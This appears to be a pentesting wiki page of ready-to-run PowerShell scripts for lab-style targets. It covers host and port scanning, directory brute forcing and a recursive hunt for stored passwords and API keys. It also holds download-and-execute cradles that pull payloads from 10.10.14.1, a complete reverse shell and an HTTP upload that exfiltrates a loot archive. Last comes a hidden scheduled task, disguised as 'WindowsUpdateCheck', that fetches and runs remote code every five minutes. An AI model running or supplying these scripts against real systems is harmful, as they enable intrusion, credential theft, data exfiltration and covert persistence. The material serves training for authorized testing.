Skip to content

PowerShell scripting for pentesting

Practical scripts built on top of the fundamentals from PowerShell scripting. For more advanced techniques (parallelization, obfuscation, persistence), see PowerShell scripting for pentesting - advanced.

Ping sweep

1
2
3
4
5
6
7
8
9
# Usage: .\ping-sweep.ps1 -Subnet 10.10.10
param([string]$Subnet)

1..254 | ForEach-Object {
    $ip = "$Subnet.$_"
    if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {
        Write-Output "$ip is up"
    }
}

Simple port scanner

# Usage: .\port-scan.ps1 -Target 10.10.10.10 -StartPort 1 -EndPort 1000
param(
    [string]$Target,
    [int]$StartPort,
    [int]$EndPort
)

foreach ($port in $StartPort..$EndPort) {
    $client = New-Object System.Net.Sockets.TcpClient
    try {
        $client.Connect($Target, $port)
        if ($client.Connected) {
            Write-Output "$port/tcp open"
            $client.Close()
        }
    } catch {
        # closed or filtered
    }
}

Directory/file brute forcing

# Usage: .\dirbrute.ps1 -Url http://target.htb -Wordlist wordlist.txt
param([string]$Url, [string]$Wordlist)

Get-Content $Wordlist | ForEach-Object {
    $target = "$Url/$_"
    try {
        $resp = Invoke-WebRequest -Uri $target -Method Head -UseBasicParsing -ErrorAction Stop
        Write-Output "[$($resp.StatusCode)] $target"
    } catch {
        $code = $_.Exception.Response.StatusCode.value__
        if ($code -ne 404) {
            Write-Output "[$code] $target"
        }
    }
}

Credential hunting

1
2
3
4
5
6
7
# Search recursively for common credential patterns
Get-ChildItem -Path C:\ -Recurse -Include *.txt,*.config,*.xml,*.ini -ErrorAction SilentlyContinue |
    Select-String -Pattern "password\s*=|passwd\s*=|api[_-]?key\s*=" |
    Select-Object Path, LineNumber, Line

# Find unattended install files (common source of clear-text creds)
Get-ChildItem -Path C:\ -Recurse -Include unattend.xml,sysprep.xml,sysprep.inf -ErrorAction SilentlyContinue

See Credentials hunting for more manual techniques.

Enumerating local users, groups and privileges

1
2
3
4
Get-LocalUser
Get-LocalGroupMember -Group "Administrators"
whoami /priv
whoami /groups

Downloading and executing a remote payload

1
2
3
4
5
6
7
8
9
# Download to disk and run
Invoke-WebRequest -Uri http://10.10.14.1:8000/payload.exe -OutFile C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe

# Download cradle: fetch and execute in memory, without touching disk
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/script.ps1')

# .NET WebClient one-liner variant
(New-Object Net.WebClient).DownloadFile('http://10.10.14.1:8000/payload.exe','C:\Windows\Temp\payload.exe')

Reverse shell one-liner

# Attacker
nc -lvnp 443

# Target
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.1", 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()

File exfiltration over HTTP

1
2
3
4
5
# Attacker (receiver)
python3 -m http.server 8000

# Target (sender), via a simple POST
Invoke-WebRequest -Uri http://10.10.14.1:8000/upload -Method Post -InFile C:\loot\data.zip

Persistence: scheduled task callback

1
2
3
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/callback.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger -RunLevel Highest
Last update: 2026-07-27
Created: July 27, 2026 16:17:23